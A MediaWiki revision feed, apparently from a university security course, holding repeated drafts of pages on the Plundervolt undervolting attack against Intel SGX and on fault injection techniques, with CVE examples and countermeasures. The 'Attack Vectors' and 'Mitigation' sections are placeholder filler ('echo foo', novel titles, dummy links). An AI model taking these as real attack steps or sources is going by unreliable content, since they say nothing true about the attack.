* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
<ref name="PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8988Plundervolt2021-12-21T22:07:42Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] <br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
<br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.</ref><br />
<ref name"PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8987Plundervolt2021-12-21T22:07:24Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] <br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
Plundervolt attacks the Intel Software Guard eXtensions (SGX). Intel SGX is a security feature implemented in almost all modern Intel CPUs. The SGX enclaves operate on small sections of the main memory of the CPU. It is usually isolated at a hardware level (separation of SGX memory and CPU memory) and at a software level (encrypted SGX data).<ref name="PLV"/><ref name="PLV1"/><ref name="PLV2"/><br />
<br />
<br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.<br />
</ref><br />
<ref name"PLV2">https://nakedsecurity.sophos.com/2019/12/16/plundervolt-stealing-secrets-by-starving-your-computer-of-voltage/</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8984Plundervolt2021-12-21T22:03:50Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] <br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
<br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><ref name="PLV1"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><ref name="PLV1"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="PLV1">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, D. Gruss and F. Piessens, "Plundervolt: Software-based Fault Injection Attacks against Intel SGX," 2020 IEEE Symposium on Security and Privacy (SP), 2020, pp. 1466-1482, doi: 10.1109/SP40000.2020.00057.<br />
</ref><br />
<br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8983Plundervolt2021-12-21T22:02:48Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] <br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><br />
<br />
<br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/> <br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8982Plundervolt2021-12-21T22:02:34Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] <br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<ref name="PLV"/><br />
<br />
<br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<ref name="PLV"/><br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as:<ref name="PLV"/> <br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code:<ref name="PLV"/><br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="PLV">K. Murdock, D. Oswald, F. D. Garcia, J. Van Bulck, F. Piessens and D. Gruss, "Plundervolt: How a Little Bit of Undervolting Can Create a Lot of Trouble," in IEEE Security & Privacy, vol. 18, no. 5, pp. 28-37, Sept.-Oct. 2020, doi: 10.1109/MSEC.2020.2990495.</ref><br />
<ref name="FI2">https://payatu.com/blog/asmita-jha/fault-injection-basics</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8981Plundervolt2021-12-21T22:00:15Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] <br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<br />
<br />
<br />
<br />
Plundervolt combines the principles behind these two attacks. The CPU's energy management interface is used and to alter the electrical voltage and frequency of te SGX memory cells. This causes unwanted alterations to SGX data.<br />
<br />
The researchers tried undervolting various x86 instructions. They observed that multiplications (e.g., imul) and other complex instructions such as the AES New Instructions (AESNI) extensions can be most easily faulted. Plundervolt can practically fault in-enclave computations. The research team showed different attacks against widely used cryptographic algorithms, such as: <br />
<br />
* Factoring RSA Keys With One Fault <br />
* Breaking AES-NI <br />
* SGX-provided crypto functions (MAC used in AES-GCM, ECC signatures and key exchange)<br />
* SGX-provided instructions for key derivation and attestation<br />
<br />
But Plundervolt doesn’t only affect cryptographic code, it also affects standard code: <br />
<br />
* Faulting Pointer Arithmetic<br />
* Faulting Memory Allocations<br />
<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<br />
* https://wikipedia.org<br />
* https://google.com<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Plundervolt&diff=8978Plundervolt2021-12-21T21:58:15Z<p>SVrdoljak: </p>
<hr />
<div>== Summary == <br />
<br />
Plundervolt is a [[Fault Injection Attack]] <br />
<br />
== Description ==<br />
<br />
Plundervolt, also known as CVE-2019-11157, is a vulnerability that relies on the fact that if you run an Intel Core x86 processors, on a voltage that’s a little bit lower than it usually expects, e.g., 0.9V instead of 1.0V, it may carry on working almost as normal, but get some calculations very slightly wrong.<br />
<br />
== Attack Vectors ==<br />
<br />
=== Breaking AES-NI ===<br />
<br />
Enter these commands in the shell<br />
<br />
echo foo<br />
echo bar<br />
<br />
=== Faulting Memory Allocations ===<br />
<br />
Make sure to read<br />
<br />
* War and Peace<br />
* Lord of the Rings<br />
* The Baroque Cycle<br />
<br />
== Mitigation and Countermeasures ==<br />
<br />
[[Device to be used with this documentation]]<br />
[[Maybe another device to be used with this documentation]]<br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<br />
* https://wikipedia.org<br />
* https://google.com<br />
<br />
[[Category:Documentation]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8977Fault Injection Attack2021-12-21T21:58:01Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
'''Fault Injection Attack''' is a type of a '''Side-Channel Attack'''. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<ref name="FI"/><ref name="FI2"/><br />
<br />
== Attack Techniques ==<br />
<br />
Fault injection can be done using various techniques the most common ones are the following: <br />
<br />
# Clock Glitch<br />
# Voltage Glitch<br />
# Electromagnetic Glitch <br />
# Optical Injection <br />
<br />
=== Clock Glitch ===<br />
<br />
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.<ref name="FI2"/><br />
<br />
=== Voltage Glitch ===<br />
<br />
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn't require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.<ref name="FI2"/> <br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. <ref name="FI2"/> <br />
<br />
=== Optical Injection ===<br />
<br />
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. <ref name="FI2"/> <br />
<br />
== Examples ==<br />
<br />
<br />
=== Espressif ESP32: Bypassing Secure Boot <ref name="FI2"/> === <br />
<br />
Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]<br />
<br />
=== Espressif ESP32: Bypassing Flash Encryption <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]<br />
<br />
=== Gigadevice GD32F130 devices: Debug interface permissions escalation <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.<ref name="FI2"/> <br />
<br />
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]<br />
<br />
=== STM32 USB Device Library: Buffer overflow vulnerability exploit <ref name="FI2"/> === <br />
<br />
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.<ref name="FI2"/> <br />
<br />
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych], [https://github.com/IBM/raiden Raiden]<br />
<br />
== Countermeasures ==<br />
<br />
Currently people are researching for countermeasures against Fault Injection Attacks. Some of the countermeasures that are already used today are listed below:<ref name="FI2"/> <br />
<br />
* Proper shielding<br />
<br />
* Proper physical hardening of systems and devices<br />
<br />
* Fault detection mechanisms<br />
<br />
* Resistance against [[Side Channel Attacks]]<br />
<br />
* Redundancy for critical control signals <br />
<br />
== Courses ==<br />
<br />
* [[Ausgewählte Kapitel der IT-Security]] (2021)<br />
<br />
== References ==<br />
<references><br />
<ref name="FI">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<ref name="FI2">https://payatu.com/blog/asmita-jha/fault-injection-basics</ref><br />
<br />
</references><br />
<br />
<br />
[[Category:Basic]]</div>SVrdoljakhttps://elvis.hcw.ac.at/wiki/index.php?title=Fault_Injection_Attack&diff=8969Fault Injection Attack2021-12-21T21:42:40Z<p>SVrdoljak: </p>
<hr />
<div><br />
== Summary==<br />
<br />
'''Fault Injection Attacks''' are physical attacks where adversaries try to inject malicious faults into a cryptographic device or system. By injecting faults, the usual behaviour of the cryptographic operations is changed and the erroneous outputs of the faults is analysed to steal secrets/keys or sensible information.<br />
<br />
== Introduction ==<br />
<br />
'''Fault Injection Attack''' is a type of a '''Side-Channel Attack'''. It is a physical attack issued on a cryptographic device or a system. Adversaries inject faults to change the normal process of a cryptographic operation. By doing this and by analyzing the generated outputs, the system security features can be bypassed or the overall system behaviour can be compromised to get secret information and keys. Usually this type of attack can be done by tempering with the voltage, the clock or the electromagnetic emissions of a system. But also optical laser injection is one technique. When it comes to the actual attack, adversaries can either choose to attack the software or the hardware of a system. The injected faults are short-lived and the are used in a differential analysis for the secrets/key stealing.<ref name="FI"/><ref name="FI2"/><br />
<br />
== Attack Techniques ==<br />
<br />
Fault injection can be done using various techniques the most common ones are the following: <br />
<br />
# Clock Glitch<br />
# Voltage Glitch<br />
# Electromagnetic Glitch <br />
# Optical Injection <br />
<br />
=== Clock Glitch ===<br />
<br />
Glock glitching is a method where the system clock of a cryptographic device or system is being tampered with. Usually systems have their internally system clock. In order for the integrated circuits (ICs) to properly work and for the operations to being successfully executed, the system clock time period needs to be greater that the maximum propagation delay (including offset). Faults injected to the clock results in the attacker bypassing security checks. All it takes it the injection of short pulses in the circuit, at the right time.<ref name="FI2"/><br />
<br />
=== Voltage Glitch ===<br />
<br />
Voltage glitching is a method where faults are created when the systems voltage is being tampered with. The behaviour of operations is manipulated when the voltage is tampered with at specific times. This technique is a low-cost technique, because it doesn't require many additional hardware. However, the generated faults might not always be predictable, therefore attackers cannot tell when an injected fault leads to information leakage. A quite well known Fault Injection Attack called [[Plundervolt]] uses this technique.<ref name="FI2"/> <br />
<br />
=== Electromagnetic Glitch ===<br />
<br />
Electromagnetic glitching is another technique that is commonly used in Fault Injection Attacks. It is also one of the most used methods, because it not invasive. Attackers use EM probes with precisely placed X-Y tables above the EM probe. Researchers have already released information about various flaws in ESP32. <ref name="FI2"/> <br />
<br />
=== Optical Injection ===<br />
<br />
Optical injection uses illumination of transistors to make a conduct in a system and to inject faults. Attackers use a laser or high energy light source such as UV lamps combined with decapsulation of the system chip. This attack results in resets of microcontroller’s internal protection fuses and results in breaking cryptographic implementation to steal secrets. <ref name="FI2"/> <br />
<br />
== Examples ==<br />
<br />
<br />
=== Espressif ESP32: Bypassing Secure Boot <ref name="FI2"/> === <br />
<br />
Also known as CVE-2019-15894, is a Fault Injection Attack which bypasses the Secure Boot verification when starting a ESP32 CPU. When faults are generated. unverified code is being executed from flash. Researchers found out, that the flash encryption mitigates this attack, as unverified code cannot be executed then.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/en/news/Espressif_Security_Advisory_Concerning_Fault_Injection_and_Secure_Boot Espressif Advisory], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-15894 CVE Mitre]<br />
<br />
=== Espressif ESP32: Bypassing Flash Encryption <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-15048, is a Fault Injection Attack which bypasses the Flash Encryption and the Secure Boot verification. When faults are generated. unverified code is being executed from flash.<ref name="FI2"/> <br />
<br />
Reference: [https://www.espressif.com/sites/default/files/advisory_downloads/Security%20Advisory%20CVE-2020-15048%2C%2013629%20EN%26CN.pdf Espressif Advisory], [https://raelize.com/posts/espressif-systems-esp32-bypassing-flash-encryption/ Raelize]<br />
<br />
=== Gigadevice GD32F130 devices: Debug interface permissions escalation <ref name="FI2"/> ===<br />
<br />
Also known as CVE-2020-13468, is a Fault Injection Attack which exploits the insufficiently physically protected inter-IC bonding wires. When this exploit is exploited, the debug interface permissions of the device escalate. This leads to extraction of firmware even thought there is debugging protection implemented. Attackers can also read the protected flash memory and perform random modifications on the device.<ref name="FI2"/> <br />
<br />
Reference: [https://www.usenix.org/system/files/woot20-paper-obermaier.pdf Research Paper], [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13468 CVE Mitre]<br />
<br />
=== STM32 USB Device Library: Buffer overflow vulnerability exploit <ref name="FI2"/> === <br />
<br />
Also known as CVE-2020-15808, is a Fault Injection Attack which uses the buffer overflow vulnerability in the CDC communicaation interface code. When this exploit is exploited, attackers can access sensitive information, keys, secrets or obtain firmware.<ref name="FI2"/> <br />
<br />
Reference: [https://i.blackhat.com/asia-20/Friday/asia-20-Wypych-Raiden-Glitching-Framework.pdf Black Hat Asia 2020], [https://twitter.com/horac341/status/1311911734572208129 Grzegorz Wypych], [https://github.com/IBM/raiden Raiden]<br />
<br />
== Countermeasures ==<br />
<br />
Currently people are researching for countermeasures against Fault Injection Attacks. Some of the countermeasures that are already used today are listed below:<ref name="FI2"/> <br />
<br />
- Proper shielding<br />
<br />
- Proper physical hardening of systems and devices<br />
<br />
- Fault detection mechanisms<br />
<br />
- Resistance against [[Side Channel Attacks]]<br />
<br />
- Redundancy for critical control signals <br />
<br />
== References ==<br />
<references><br />
<ref name="FI">Y. Li, M. Chen and J. Wang, "Introduction to side-channel attacks and fault attacks," 2016 Asia-Pacific International Symposium on Electromagnetic Compatibility (APEMC), 2016, pp. 573-575, doi: 10.1109/APEMC.2016.7522801.</ref><br />
<ref name="FI2">https://payatu.com/blog/asmita-jha/fault-injection-basics</ref><br />
<br />
</references><br />
<br />
<br />
